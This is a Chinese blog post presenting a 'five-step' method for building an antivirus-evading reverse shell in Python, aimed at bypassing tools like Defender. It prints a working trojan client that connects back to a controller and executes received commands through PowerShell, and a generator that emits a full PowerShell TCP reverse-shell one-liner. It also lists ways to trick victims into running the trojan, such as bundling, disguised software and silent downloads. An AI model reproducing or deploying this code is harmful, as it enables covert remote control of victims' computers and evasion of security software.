python 实现nc功能 免杀案例——的确可以绕过奇安信,defender这些edr


这里仅用反弹powershell演示,大家可以发挥脑洞

自创反弹shell免杀五部曲:

  • 1:确定想法

  • 2:实现框架

  • 3:增加保护

  • 4:启动木马

  • 5:维持会话或提权

1|2一,确定想法

  • 用python服务器与客户端的原理制作反弹shell的控制端与被控制端,

  • 最后执行在会话中执行恶意命令来获取一个稳定的powershell

  • 记:控制端两次使用的端口不能相同


1|3二,实现框架

这里我们需要两个文件

  • 受害者运行的恶意程序

  • 在第一个会话中执行代码的生成器

受害者运行的恶意程序编写

1. 我们采用socket库编写,这里只用编写客户端(受控端)的代码,服务端(控制端)使用nc即可

木马的代码:

(注:可以用pyinstaller转换为exe)

  import os
  import time
  import socket
  '''################'''
  server_ip = '' # 更改为控制端的IP
  server_port = 13524 # 更改为控制端的第一PORT
  '''################'''
   
  mod = '''powershell -nop -c "{0}"'''
  s = socket.socket()
   
  while True:
  try:
  s.connect((server_ip, server_port))
  break
  except:
  time.sleep(3)
  while True:
  s.send(b'[Powershell:->')
  cmd = s.recv(1024).decode()
  s.send(os.popen(mod.format(cmd)).read().encode())
   
  s.close()

现在我们还需一个在第一个会话中执行代码的生成器

1|4推荐参考Reverse Shell Generator 反弹shell生成

这里放出代码及使用方法

  import sys
  server_ip = sys.argv[1]
  server_port_second = sys.argv[2]
  print("服务端IP:",server_ip,"\n服务端监听powershell端口:",server_port_second)
  print('复制代码在nc中运行:')
  print('''$client = New-Object System.Net.Sockets.TCPClient('{0}',{1});'''.format(str(server_ip),str(server_port_second)),end='')
  print('''$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()''')

使用方法:python3/python + 这个文件的地址 + 控制端IP + 控制端另一个端口

弹回的执行代码 复制

  • e.g. python3 creative.py 127.0.0.1 12212

1|5三:增加保护

作者采用pyinstaller保护(其实pyinstaller后会被杀软误判)

这里不细讲,可以看看crow在B站的视频

1|6四:启动木马

想办法让受害者运行木马,这里举几个思路

  • 1. 捆绑软件
  • 2. 伪装软件
  • 3. 伪装并让受害者不知情地下载,然后悄咪咪的自动运行
  • 4. 渗透内网
  • 5. 调用漏洞

当受害者运行木马后

我们自然得到第一个会话

e.g. [Powershell:->

接着在里面输入复制好的代码并回车


2|0重点:此时刚刚的代码会命令受害者连接控制端的第二个端口,而刚好就是这个特性能够几乎所有杀软(即使无法连接第二个会话,也有第一个简单的SHELL)

2|1五:维持会话或提权

2|2此时执行 nc -lvvp 第二个端口 就能获得稳定的powershell

2|3相关资源下载(可能提示有危险,不用管他,毕竟是Python 木马):

posted @ 2022-08-01 16:55  bonelee  阅读(776)  评论(0编辑  收藏  举报